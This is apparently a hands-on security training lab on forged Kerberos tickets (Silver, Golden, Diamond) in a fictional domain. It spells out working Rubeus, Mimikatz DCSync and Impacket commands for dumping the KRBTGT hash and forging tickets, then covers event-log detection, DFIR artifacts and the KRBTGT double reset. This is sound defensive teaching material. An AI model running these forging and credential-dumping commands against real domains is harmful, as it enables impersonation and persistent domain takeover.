In this room, you'll investigate three attacks built on a weakness in how Kerberos trusts tickets: Silver, Golden and Diamond tickets. Each one serves a different purpose, and you'll learn the difference between them, how each attack is carried out, and how to detect and investigate them.

MITRE ATT&CK places the family under Credential Access as T1558 Steal or Forge Kerberos Tickets. The forged tickets are then reused for privilege escalation, persistence, and lateral movement.

Learning Objectives

After completing this room, you will be able to:

• Explain how Silver, Golden and Diamond tickets abuse Kerberos, and what an attacker must steal to forge each.
• Detect each ticket type by correlating Windows Security and Kerberos event logs across the target host and the Domain Controller.
• Identify an unknown ticket attack from collected DFIR artifacts, ruling out the techniques that do not fit.
• Contain and remediate ticket abuse, including the KRBTGT double reset, and apply preventative controls.

Prerequisites

Before starting, you should be comfortable with:

• Kerberos authentication and ticket structure (Kerberos Tickets room)
• DCSync detection and concepts (DCSync Detection room)
• Kerberoasting and AS-REP Roasting concepts
• Active Directory fundamentals
• Windows event log analysis and the core Kerberos event IDs

Kerberos does not re-verify who you are on every request. It verifies cryptography. A ticket is accepted because it decrypts cleanly with a key the receiving side already trusts. An attacker who steals one of those keys can therefore forge their own tickets, and the domain will treat them as genuine.

Before you can detect a forged ticket, you need to know what the attacker had to steal to make it, and what that choice cost them.

Take a look at the diagram below, which shows normal Kerberos authentication:

Every ticket in that flow is sealed with a key derived from an account password. The TGT handed back in step 2 is encrypted with the KRBTGT account's key, and the service ticket handed back in step 4 is encrypted with the target service account's key. Now notice what the flow does not contain. When the client presents its ticket in step 5, the service does not go back to the KDC to ask whether that ticket was genuinely issued. It decrypts it, checks the signatures, and trusts what it finds inside.

That is the weakness all three attacks exploit. Steal the key that seals a ticket and you can produce that ticket yourself, for any user you choose, including users who do not exist. What separates the three is which key the attacker had to steal, and how far that key reaches.

The commands below are shown so you can recognize the artifacts they leave behind. You will not run them in this room.

The Silver Ticket

A Silver ticket is a forged service ticket, or TGS, scoped to a single service on a single host. Building one requires the password hash of the account that runs the target service.

Take a SQL Server instance at LunarBank, a fictional financial institution, as the target. Its SPN reads MSSQLSvc/LB-SQL01.lunarbank.thm:1433, and it is registered to a domain user account called svc_sql. That registration is what puts the key within reach. Any domain user can ask the KDC for a service ticket to that SPN, and the ticket comes back encrypted with the service account's password hash, so the attacker requests one, takes it away, and cracks the password offline. That is Kerberoasting, and it needs no special privileges at all, which is what separates this attack from the other two. ATT&CK tracks it as T1558.002.

With the hash in hand, forging the ticket is a single command. The attacker supplies the service hash, the domain SID, and the user they wish to impersonate:

Forging a service ticket for the SQL service on LB-SQL01 and injecting it
PS C:\> Rubeus.exe silver /service:MSSQLSvc/LB-SQL01.lunarbank.thm:1433 /rc4:<svc_sql_rc4_hash> /sid:<domain_SID> /user:Administrator /ptt
[*] Action: Build TGS
[*] Building PAC
[*] Domain         : LUNARBANK.THM (lunarbank)
[*] SID            : S-1-5-21-1004336348-1177238915-682003330
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ServiceKey     : b7a1d0f5e2c93a4b8d61f07c2e5a9b34
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : b7a1d0f5e2c93a4b8d61f07c2e5a9b34
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : MSSQLSvc
[*] Target         : LB-SQL01.lunarbank.thm
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Printing base64 encoded ticket:
      doIFujCCBbagAwIBBaEDAgEWooIE<SNIP>AAA==
[+] Ticket successfully imported!

Mimikatz produces the same ticket through its kerberos::golden command, distinguished only by the /target and /service parameters:

The same Silver ticket, built from the Mimikatz console
mimikatz # kerberos::golden /user:Administrator /domain:lunarbank.thm /sid:<domain_SID> /target:LB-SQL01.lunarbank.thm /service:MSSQLSvc /rc4:<svc_sql_rc4_hash> /ptt

Notice that the whole build happens locally, with no Domain Controller anywhere in the Rubeus output above. The resulting ticket unlocks only what that one service on that one host allows, but it does so as any user named inside it. A forged ticket for that SPN yields database access as Administrator. The service accepts the privileges claimed in the ticket without validating them against the Domain Controller, so the impersonation succeeds even though no such session was ever authorized.

That low barrier to entry is why Silver tickets often surface early in an intrusion, long before an attacker holds domain-wide control. It is also the quietest of the three, because the ticket goes straight to the service and the Domain Controller is never contacted at all. What the attacker sacrifices is reach: the ticket covers one service, and it stops working the moment that service account's password is rotated.

Public reporting on the forge itself is thin, which is what you would expect from a technique that leaves no record on a Domain Controller. The theft that comes before it is well documented: The DFIR Report traced Wizard Spider Kerberoasting with Rubeus inside a Ryuk intrusion, hours before ransomware deployment. The capability ships in Mimikatz, Rubeus, and Empire, and it reaches beyond on-premises Active Directory: AADInternals forges tickets using the AZUREADSSOACC account hash, extending the same idea into hybrid identity.

The Golden Ticket

A Golden ticket is a forged TGT, minted with the hash of the KRBTGT account. KRBTGT is the account whose key signs every TGT in the domain, so its hash amounts to the master key for domain authentication. Obtaining it means the attacker already has domain dominance, reached through DCSync with replication rights or by stealing the NTDS.dit database from a Domain Controller. ATT&CK tracks it as T1558.001.

The key is dumped first, then reused to mint a TGT for any principal, carrying any group membership the attacker cares to claim:

Stealing the KRBTGT hash from the Domain Controller
mimikatz # lsadump::dcsync /user:lunarbank\krbtgt
[DC] 'lunarbank.thm' will be the domain
[DC] 'LB-DC01.lunarbank.thm' will be the DC server
[DC] 'lunarbank\krbtgt' will be the user account
Object RDN           : krbtgt
Credentials:
  Hash NTLM: 9f2c4e1b7d0a53f8c6b29e4a1d70538c
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
    Default Salt : LUNARBANK.THMkrbtgt
    Credentials
      aes256_hmac       (4096) : 3d8f1a94c2e07b6d<SNIP>
      aes128_hmac       (4096) : c47b0e5a91f3d268
Forging the TGT with that hash and injecting it into the session
mimikatz # kerberos::golden /user:Administrator /domain:lunarbank.thm /sid:<domain_SID> /krbtgt:<krbtgt_hash> /ptt
User      : Administrator
Domain    : lunarbank.thm (LUNARBANK)
SID       : S-1-5-21-1004336348-1177238915-682003330
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 9f2c4e1b7d0a53f8c6b29e4a1d70538c - rc4_hmac_nt
Lifetime  : 3/14/2024 9:12:07 AM ; 3/12/2034 9:12:07 AM ; 3/12/2034 9:12:07 AM
-> Ticket : ** Pass The Ticket **
 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated
Golden ticket for 'Administrator @ lunarbank.thm' successfully submitted for current session

Rubeus does the same in one command:

The same forged TGT in a single command
PS C:\> Rubeus.exe golden /rc4:<krbtgt_hash> /domain:lunarbank.thm /sid:<domain_SID> /user:Administrator /ptt

From Linux, Impacket's ticketer.py forges the ticket entirely offline and writes it to a credential cache file, which the attacker then points Kerberos at:

Forging the ticket offline, which writes Administrator.ccache to disk
user@kali$ ticketer.py -nthash <krbtgt_hash> -domain-sid <domain_SID> -domain lunarbank.thm Administrator
Pointing Kerberos at the cache file so the ticket gets used
user@kali$ export KRB5CCNAME=Administrator.ccache

From there the reach is total. Every service in the domain trusts a TGT signed by KRBTGT, so the attacker can request service tickets for anything, on any host, as any user. The impersonated account does not even need to exist, and resetting its password changes nothing, because the ticket's validity rests on KRBTGT rather than on the account it names.

This is not how attackers escalate, since stealing KRBTGT already requires the privileges a Golden ticket would grant. It is how they stay. The ticket remains valid until KRBTGT itself is reset, which is why the remediation covered in Task 7 is more involved than a routine password change.

The price the attacker pays for a Golden ticket is exposure: the forged TGT has to be presented to a Domain Controller before any service ticket can be issued, and default tooling settings leave conspicuous traces, including implausible ticket lifetimes and RC4 encryption in domains that otherwise use AES, both visible in the Lifetime and ServiceKey lines of the Mimikatz output above. We'll use that exposure to detect it later in this room.

Golden tickets are the most widely reported of the three. Investigating a 2017 intrusion into UK government targets, NCC Group found that APT15 used Mimikatz to dump credentials and generate Kerberos golden tickets, keeping their access alive through the password resets that followed.

The Diamond Ticket

A Diamond ticket takes the opposite approach to a Golden ticket. Instead of fabricating a TGT from nothing, the attacker asks the Domain Controller for a real one and then rewrites it. Doing so calls for the same KRBTGT material as a Golden ticket, ideally the AES key, plus working credentials for any domain account to authenticate with.

The attacker authenticates normally and receives a genuine TGT, decrypts it with the KRBTGT key, modifies the PAC, recalculates the signatures, and re-encrypts it. In the command below, the PAC is edited to add the Domain Admins RID 512:

Requesting a real TGT, then rewriting its PAC to add Domain Admins (RID 512)
PS C:\> Rubeus.exe diamond /domain:lunarbank.thm /user:j.reeves /password:<password> /dc:LB-DC01.lunarbank.thm /enctype:aes256 /krbkey:<krbtgt_aes256_key> /ticketuser:Administrator /ticketuserid:500 /groups:512 /ptt
[*] Action: Build Diamond Ticket
[*] Building AS-REQ (w/ preauth) for: 'lunarbank.thm\j.reeves'
[*] Using domain controller: LB-DC01.lunarbank.thm (10.10.15.10)
[+] TGT request successful!
[*] Decrypting TGT
[*] Retrieving PAC
[*] Modifying PAC
[*]     UserId : 500
[*]     Groups : 512
[*] Signing PAC
[*] Encrypting Modified TGT
[*] Generating KRB-CRED
[+] Ticket successfully imported!

The access this grants is identical to a Golden ticket, domain-wide and unrestricted. The difference is the packaging: it arrives inside a ticket that the Domain Controller genuinely issued and logged, which is the TGT request successful line in the output above.

That difference is the entire point of the technique. A real authentication took place, so detections built on service ticket requests with no preceding TGT request never fire, and using the AES key sidesteps the encryption downgrade that reveals a default Golden ticket. What the attacker takes on instead is complexity, since the attack needs live interaction with a Domain Controller and valid credentials for a real account, leaving more that can go wrong than an offline forge.

The technique was published in 2022 by Charlie Clark (Semperis) and Andrew Schwartz (TrustedSec) and implemented as the Rubeus diamond command. It has since moved from research into operations. During the 2025 Poland Wiper Attacks (C0063, March to December 2025), a destructive campaign against Polish energy infrastructure, the operators used Rubeus to forge a Diamond ticket.

Key Takeaway

Why this matters for detection

Read the three in order, and you'll see a pattern. Each technique removes the evidence that exposes the one before it:

• A Silver ticket never contacts the Domain Controller, so the DC holds no record of the access at all.
• A Golden ticket does reach the DC, but the TGT was forged rather than issued, so service ticket requests turn up without the authentication that should have preceded them.
• A Diamond ticket requests a genuine TGT from the DC and modifies it, ensuring genuine authentication and preventing the Golden indicator from firing.

As the attacks become stealthier, detection shifts from identifying what is missing to identifying what does not add up. Tasks 3 to 5 work on each one from the artifacts it leaves behind.

As you saw in Task 2, a Silver ticket is a forged service ticket, and the only secret needed to build one is the password hash of the account running the target service. Here, that account is svc_sql, the domain user that runs the SQL service on LB-SQL01. Any account in the domain could request a ticket for its SPN and crack the password offline, so the attacker needed no privileges beyond a valid login to get everything this attack requires.

If this attack never touches the Domain Controller and asks so little of the attacker, why would anyone bother with the other two?
Because the stealth is paid for with reach:
- It is valid for one service on one host, and nothing else in the domain.
- It grants no more than that service already offers.
- It dies the moment that account's password is rotated.

The other half of that trade is the one that matters to you as a defender. Being invisible to the Domain Controller is not the same as being invisible. The forged ticket still has to be presented to a real service on a real host, and that host records the session like any other. So the investigation starts on the machine that was accessed, and the confirmation comes from an event that is missing rather than one that fires.

What the target host recorded

The forged ticket is presented straight to the service, and the service accepts it, so the host logs a perfectly ordinary session. You are looking for event 4624 with Logon Type 3, a network logon, showing Kerberos as the authentication package. If the ticket claimed administrative group membership, event 4672 follows it, recording the privileges assigned to that session.

It is worth asking why the service accepted any of this. Inside every ticket sits the PAC, a block listing the account's group memberships. The service is allowed to ask the Domain Controller to validate it, but in most deployments that check never happens. So the groups the ticket claims are simply the groups the session receives, which is how a forged ticket naming Administrator produces a 4672 for privileges the DC never granted.

Two fields on that 4624 are worth more than the rest. The source network address tells you which machine presented the ticket. In this incident that is LB-WS09, an ordinary corporate workstation, so the address itself gives nothing away. The Logon GUID should tie the session back to a ticket the DC issued. On a forged ticket that GUID is frequently all zeros or matches nothing upstream, which is your first hint that no upstream event exists.

Every network logon recorded on the target host
PS C:\> Get-WinEvent -FilterHashtable @{Path="C:\Evidence\Silver\LB-SQL01-Security.evtx"; Id=4624} | Where-Object { $_.Message -match "Logon Type:\s+3" }

Proving the negative at the Domain Controller

Take the account name and timestamp from that 4624 and go looking for the ticket request that should have preceded it. A genuine service access produces event 4769 on the DC, recording the service ticket it issued. For a Silver ticket, that event does not exist.

Searching the DC for the service ticket it should have issued
PS C:\> Get-WinEvent -FilterHashtable @{Path="C:\Evidence\Silver\LB-DC01-Security.evtx"; Id=4769}
Get-WinEvent: No events were found that match the specified selection criteria.

In this investigation that error is the finding. A session took place on the target host that the Domain Controller never authorized.

An absence only means something once you have ruled out the boring explanations, so before you call it, confirm that Kerberos auditing was actually enabled on the DC for that period, and widen your time window past the session in both directions. The quickest proof is to check that the log holds 4769 events for other accounts across the same window. A log busy with ticket requests that simply lacks one for your account is evidence. A log with none at all is a configuration problem, and tells you nothing about the attack.

The encryption downgrade

Forged tickets are commonly built with an RC4 key, because that is the hash an attacker most easily obtains. The ticket encryption type appears in the Kerberos events as 0x17 for RC4-HMAC, against 0x12 for AES256 and 0x11 for AES128. In a domain that enforces AES, an RC4 ticket is an anomaly on its own. Treat it as corroboration rather than proof, since the absent 4769 is the stronger signal.

Investigating the DFIR artifacts left behind

The forged ticket left no trace on the Domain Controller, but the theft that came before it did. The request Kerberoasting makes is entirely legitimate: the attacker asked the KDC for a service ticket to MSSQLSvc/LB-SQL01.lunarbank.thm:1433, and the DC issued it and logged a 4769 like any other. So this one incident leaves two DC records that read very differently:

• A 4769 for the svc_sql SPN, written when the attacker requested the ticket they intended to crack. Commonly the request specifies RC4, to make cracking cheaper.
• No 4769 at all for the access that followed, because the forged ticket never went near the DC.

The same event is the tell in one place, and its absence is the tell in the other.

The roasting and the cracking both ran on LB-WS09, not on the SQL server, so that is where the execution evidence sits:

• Amcache.hve, at C:\Windows\AppCompat\Programs\Amcache.hve, lists executables that have run on the host with a SHA1 hash and a first-execution timestamp. It outlives the binary, so a tool deleted after use still leaves a row behind.
• PSReadLine history, at C:\Users\\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt, holds every PowerShell command that user typed, in plain text, whether or not script block logging was ever switched on.
• Prefetch is one of the strongest execution artifacts available to you when the host is a workstation. Each .pf file records a binary that ran, how many times it has run, and when it last executed, which is exactly what you want once the tooling itself has been deleted. Be aware of where it applies, though: Prefetch is disabled by default on Windows Server, so finding nothing on a server tells you about the operating system rather than about what the attacker ran.
• The forged ticket itself, which lived in the ticket cache of the session that injected it and never touched disk unless the attacker exported it. Recovering it means a memory image taken while that session was alive, or the klist output saved during triage.

Reading the attacker's own command history off the workstation
PS C:\> Get-Content "C:\Evidence\Silver\LB-WS09\ConsoleHost_history.txt" | Select-String "Rubeus|kerberoast|hashcat"
Proving the tool ran here, even if the binary is long gone
PS C:\> AmcacheParser.exe -f "C:\Evidence\Silver\LB-WS09\Amcache.hve" --csv .

The AmcacheParser binary is part of Eric Zimmerman's toolset, pre-installed on the DefenseBox.

Key Takeaway

As you saw in Task 2, a Golden ticket is a forged TGT built with the KRBTGT hash. Getting that hash means the attacker already held replication rights, which they used on LB-WS09 to run DCSync against LB-DC01.

If a Golden ticket grants everything, everywhere, until KRBTGT is reset, why is it the easiest of the three to catch?
Because it has to talk to the Domain Controller:
- A forged TGT is useless on its own. The attacker must present it to the DC to obtain service tickets.
- The moment they do, the DC records a ticket request from a session it never authenticated.
- Default tooling settings add more: an implausible lifetime, and RC4 in a domain that enforces AES.

The broken pair

Normal Kerberos leaves two events in order. Event 4768 records the TGT the DC issued, then event 4769 records each service ticket requested with it. A Golden ticket breaks that pairing.

Scope it carefully. Every user collects a 4768 at logon and many 4769s across the day, so the test is not "no 4768 anywhere". The test is whether a 4768 exists for that account in a plausible window before its service ticket requests begin.

Where the rest of the evidence sits

The Domain Controller carries the whole authentication story: the missing 4768, the 4769s that should not exist without it, and further back the 4662 that recorded the theft of the key itself. That last one gets its own section below.

The affected hosts add scope rather than proof. Each logs a 4624 for the network logon, and a 4672 wherever the ticket claimed administrative groups. Because a Golden ticket works everywhere, the same account tends to surface across several hosts in a short window, which is usually how the blast radius becomes visible.

The anomalies the tooling leaves behind

Default settings betray a forged ticket, but not in the place you would expect. The anomalies live in the ticket itself, recovered from the host:

Once injected, a forged TGT reads like this. The encryption type and lifetime are the giveaways
PS C:\> klist
Current LogonId is 0:0x3e7
Cached Tickets: (1)
#0>     Client: a.khan @ LUNARBANK.THM
        Server: krbtgt/LUNARBANK.THM @ LUNARBANK.THM
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)    <-- RC4, in an AES-only domain
        Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
        Start Time: 3/17/2026 09:12:04 (local)
        End Time:   3/15/2036 09:12:04 (local)             <-- ten years, against a policy of ten hours
        Renew Time: 3/15/2036 09:12:04 (local)

Neither of those is visible in the 4769. The Domain Controller never issued this TGT, so it never recorded the lifetime or the encryption type, which is exactly why the ticket recovered from the host matters so much. Two weaker signals live in the ticket fields as well: a forged ticket can name an account that does not exist in the directory at all, and forging tools often leave the realm or RID fields inconsistent.

How to work it

1. Pull every 4769 from LB-DC01 and group them by account.
2. For each account, look for a 4768 in the window before its first 4769. Absence is the finding.
3. Confirm the log was recording, by checking that 4768 events exist for other accounts across the same window.
4. Pivot to 4662 for the replication GUIDs to find how the key was stolen.
5. Pivot to 4624 and 4672 on the affected hosts to scope what the ticket reached.

Every service ticket the DC issued to this account
PS C:\> Get-WinEvent -FilterHashtable @{Path="C:\Users\DFIRUser\Desktop\Task4\Evidence\Golden\LB-DC01-Security.evtx"; Id=4769} | Where-Object { $_.Message -match "a.khan" }
The TGT request that should have come first. This returns nothing
PS C:\> Get-WinEvent -FilterHashtable @{Path="C:\Users\DFIRUser\Desktop\Task4\Evidence\Golden\LB-DC01-Security.evtx"; Id=4768} | Where-Object { $_.Message -match "a.khan" }

Tracing it back to the theft

DCSync lands on the DC as event 4662, carrying the replication extended rights 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 for DS-Replication-Get-Changes and 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 for DS-Replication-Get-Changes-All. An account requesting both against the domain object, when it is not a Domain Controller, has no legitimate reason to do so.

Finding the replication request that handed over the KRBTGT hash
PS C:\> Get-WinEvent -FilterHashtable @{Path="C:\Users\DFIRUser\Desktop\Task4\Evidence\Golden\LB-DC01-Security.evtx"; Id=4662} | Where-Object { $_.Message -match "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" }

Event 4662 only fires for these rights when a SACL is configured on the domain naming context. Without it, the DCSync leaves no trace, and the Golden ticket appears to come from nowhere.

Investigating the DFIR artifacts left behind

Every artifact in this incident sits on LB-WS09, not on the Domain Controller. The DC was used rather than compromised: it decrypted a ticket, issued service tickets for it, and logged both. The theft and the forging happened on the workstation:

• The ticket itself is the most valuable of them, and the most fragile. It lived in the ticket cache of the session that injected it, so the ten-year lifetime and the RC4 encryption type you saw above come from the saved klist output, or from a memory image captured while that session was still alive. Neither survives a reboot, which is why triage timing decides whether you ever see this artifact at all.
• Amcache.hve places the forging tool on the host, recording a SHA1 hash and a first-execution timestamp that outlive the binary even after the attacker deletes it.
• PSReadLine history, in ConsoleHost_history.txt, holds the DCSync and forge commands as they were typed.

That history file is the one artifact here the attacker can simply delete. Where command line auditing is enabled, the same commands survive as 4688 events, which the attacker usually cannot reach, so treat the log as the durable copy of what the file was meant to prove.

Key Takeaway

Investigate Golden ticket artifacts

Two machines are attached to this task. The evidence machine holds the artifacts the response team collected, and the DefenseBox is your analysis workstation, with the DFIR tooling already installed.

Work the case the way a responder would: treat the evidence machine as read-only and run your analysis on the DefenseBox.

1. Start both machines with the Start Machine buttons above and note the IP address of each.
2. Connect to the evidence machine over RDP using the credentials on its machine card. The response team's artifacts are in C:\Users\Administrator\Desktop\Artifacts\.
3. From the evidence machine, map the DefenseBox analysis share with net use M: \\DEFENSEBOX_IP\Desktop, replacing DEFENSEBOX_IP with the address of your DefenseBox and supplying the DefenseBox credentials when prompted. The share is named Desktop and resolves to C:\Users\DFIRUser\Desktop on the DefenseBox.
4. Copy the Task4 folder to M:\, so that it lands in C:\Users\DFIRUser\Desktop\Task4\ on the DefenseBox. The Golden evidence is then at C:\Users\DFIRUser\Desktop\Task4\Evidence\Golden\.
5. Connect to the DefenseBox and run your analysis there. Every Get-WinEvent example in this task reads from that copied folder.

If this route does not work for you, the DefenseBox welcome page lists alternative ways of connecting to the machine.

A Diamond ticket starts life as a real one. The attacker signs in as an ordinary user, here j.reeves, receives a genuine TGT from LB-DC01, decrypts it with the KRBTGT AES key, rewrites the PAC to add Domain Admins, and re-encrypts it. It needs the same KRBTGT material as a Golden ticket, plus one working set of user credentials.

If the authentication is genuine and the DC really did issue the ticket, is this even detectable?
Barely, and not from the ticket. You detect the consequence instead:
- Nothing in the Windows event logs records what a PAC contained, so no event will ever tell you the ticket claimed Domain Admins.
- What you can see is the privilege being exercised, and the fact that the directory never granted it.
- That makes this an inference drawn from two sources, rather than a finding sitting in one.

Why the Golden heuristics stop working

Everything you relied on in Task 4 fails here. Here is why:

This is the point the room has been building towards. Each technique removes the evidence that caught the one before it, and by the third the presence-based checks are exhausted.

What survives

When j.reeves uses the modified ticket, the target host logs 4672, recording the administrative privileges assigned to that session. For those privileges to be legitimate, somebody must have added the account to a privileged group, and Windows records that too: 4728 for a global group like Domain Admins, 4732 for a local group, 4756 for a universal one.

So look for the paperwork. If an account exercises Domain Admins rights and no 4728 anywhere grants that membership, and the directory does not list them as a member, the privilege arrived inside a ticket rather than from the directory.

Investigating it like a defender

1. Pull every 4672 and note which accounts were assigned administrative privileges.
2. For each, check the exported group membership. Is the account genuinely a member?
3. Search for 4728, 4732, and 4756 that would explain that membership. Absence is the finding.
4. Confirm a genuine 4768 exists for the account. It will, and that is what rules out a Golden ticket.
5. Scope what the session reached using 4624 and the service tickets that followed.

Accounts that were handed administrative privileges
PS C:\> Get-WinEvent -FilterHashtable @{Path="C:\Evidence\Diamond\LB-SQL01-Security.evtx"; Id=4672}
The group change that would justify it. This returns nothing
PS C:\> Get-WinEvent -FilterHashtable @{Path="C:\Evidence\Diamond\LB-DC01-Security.evtx"; Id=4728,4732,4756} | Where-Object { $_.Message -match "j.reeves" }
Ground truth from the directory export taken during collection
PS C:\> Import-Csv "C:\Evidence\Diamond\domain-admins-members.csv" | Select-Object Name, SamAccountName

Investigating the DFIR artifacts left behind

The ticket on LB-WS09 will not help you the way it did in Task 4. Run klist against it and everything reads normally: AES encryption, a ten-hour lifetime, a real user, a real issue time. The lie is inside the PAC, and klist does not decode the PAC. That shifts the weight onto three artifacts:

• The saved ticket, collected in full rather than as a klist summary. Seeing the added group membership means parsing the ticket itself.
• The directory export is the artifact that does the work here, and the one most easily forgotten during collection. Without a snapshot of group membership taken at the time of the incident, you have nothing to contradict the ticket's claim, and the whole detection collapses.
• Amcache.hve and PSReadLine history on LB-WS09 still place the tooling on the host.

Those artifacts tell you the technique was used. The privilege contradiction tells you what it achieved.

Key Takeaway

In every task so far, the evidence had already been pulled and packaged by somebody else. Real incidents are rarely that tidy. This time you connect straight to the compromised Domain Controller and gather the evidence yourself. The job is the same, identify which of the three techniques was used and prove it, but the log queries and the directory lookups are now yours to run.

Scenario

Machine Access

Deploy the machine attached to this task and connect over RDP. You are logging in to the live Domain Controller, isolated from the network but otherwise exactly as the responders found it. The Windows event logs, the Active Directory tooling, and the directory itself are all on the box.

The Domain Controller is isolated, so nothing you run here reaches a wider environment.
The response team's export from the affected workstation is already on the machine, in C:\IR-Evidence\LB-WS09\.

Finding the forged ticket is not the end of the incident. A forged ticket is valid until the key that signed it changes, so until you rotate that key the attacker still holds working credentials, no matter how much of the timeline you have reconstructed.

Before changing anything, scope it. Establish which accounts were impersonated, which hosts the tickets reached, and when the key was first stolen, because the answer to that last question tells you how far back the compromise runs. Isolate the affected hosts, but be deliberate about sequencing: rotating a key tips the attacker off, so plan eviction as one coordinated action rather than a series of visible half-measures.

Every account that was issued a service ticket for the compromised SPN
PS C:\> Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769} | Where-Object { $_.Message -match 'MSSQLSvc/LB-SQL01' }
The earliest replication request, which dates the theft of the KRBTGT key
PS C:\> Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4662} | Where-Object { $_.Message -match '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' } | Sort-Object TimeCreated | Select-Object -First 1
Who holds replication rights now, in case the attacker granted themselves more
PS C:\> (Get-ACL "AD:$((Get-ADDomain).DistinguishedName)").Access | Where-Object { $_.ObjectType -eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' } | Select-Object IdentityReference

Silver tickets: rotate the service key

A Silver ticket is signed with the service account's key, so resetting that account's password invalidates every ticket ever forged with it. In this incident, that means svc_sql.

Rotating the key that signed the forged service tickets
PS C:\> Set-ADAccountPassword -Identity svc_sql -Reset -NewPassword (Read-Host -AsSecureString "New password")
Restarting the service so it picks up the new credentials
PS C:\> Restart-Service -Name MSSQLSERVER -Force

That single change is the whole remediation for Silver, which is the one advantage to the defender of an attack scoped to one service.

Golden and Diamond tickets: the KRBTGT double reset

Both are signed with the KRBTGT key, so nothing short of changing that key removes the attacker's access. The catch is that you have to change it twice.

Why does the KRBTGT password have to be reset twice?
Because Active Directory keeps the current password and the previous one, and both are accepted:
- A single reset leaves the previous key valid, so a ticket forged with the stolen key still works.
- The second reset pushes that stolen key out of the history entirely, invalidating every existing TGT.
- Wait for replication to finish between the two resets. Reset twice in quick succession and Domain Controllers end up with inconsistent key history, which breaks authentication across the domain.

Microsoft publishes a script for this, New-KrbtgtKeys.ps1, which handles the sequencing and the replication checks for you. Confirm replication has converged before the second pass.

Running the first reset from a Domain Controller, the script is menu driven
PS C:\> .\New-KrbtgtKeys.ps1
Confirming every Domain Controller has the first reset before running the second
PS C:\> repadmin /showrepl
PS C:\> repadmin /replsummary
Verifying the key actually changed
PS C:\> Get-ADUser krbtgt -Properties PasswordLastSet | Select-Object PasswordLastSet

Keep in mind that invalidating every TGT in the domain means every user and every service re-authenticates, so this is a planned change with a maintenance window, not something to fire off mid-investigation.

Preventing the next one

Each control below removes a specific step that the attacker relied on.

Two of these matter more than the rest for this room:

• gMSA solves the Silver problem permanently. The password becomes 240 bytes of random data, rotated automatically, so there is nothing left to crack.
• Restricting replication rights solves Golden and Diamond together, because both depend on reading the KRBTGT hash out of the directory.

The honey SPN is worth the small effort: register an SPN on an account no service actually uses, then alert on any service ticket request for it. Legitimate traffic will never ask for that SPN, so it should not produce any false positives.

Replacing a crackable service account with a gMSA
PS C:\> New-ADServiceAccount -Name gmsa_sql -DNSHostName LB-SQL01.lunarbank.thm -PrincipalsAllowedToRetrieveManagedPassword LB-SQL01$
Registering a honey SPN on an account no service will ever use
PS C:\> Set-ADUser -Identity svc_legacy_backup -ServicePrincipalNames @{Add='MSSQLSvc/lb-sql99.lunarbank.thm:1433'}
Forcing AES only on a service account, so any RC4 request for it stands out
PS C:\> Set-ADUser -Identity svc_sql -Replace @{'msDS-SupportedEncryptionTypes'=24}

Three attacks, one weakness. Kerberos trusts any ticket that decrypts cleanly, so whoever holds the signing key can issue tickets the domain will honor.

In conclusion: Silver hides by never contacting the Domain Controller. Golden contacts it but arrives without the authentication that should precede it. Diamond fixes that too, authenticating for real and editing the result, which leaves nothing anomalous in the ticket at all.

So detection and response move as the attacks improve. Against Silver and Golden you are looking for something missing. Against Diamond nothing is missing, and you are left comparing what a session claims against what Active Directory actually says. That habit, treating the directory as ground truth rather than trusting the token in front of you, is what carries over to the techniques waiting in the rest of this module.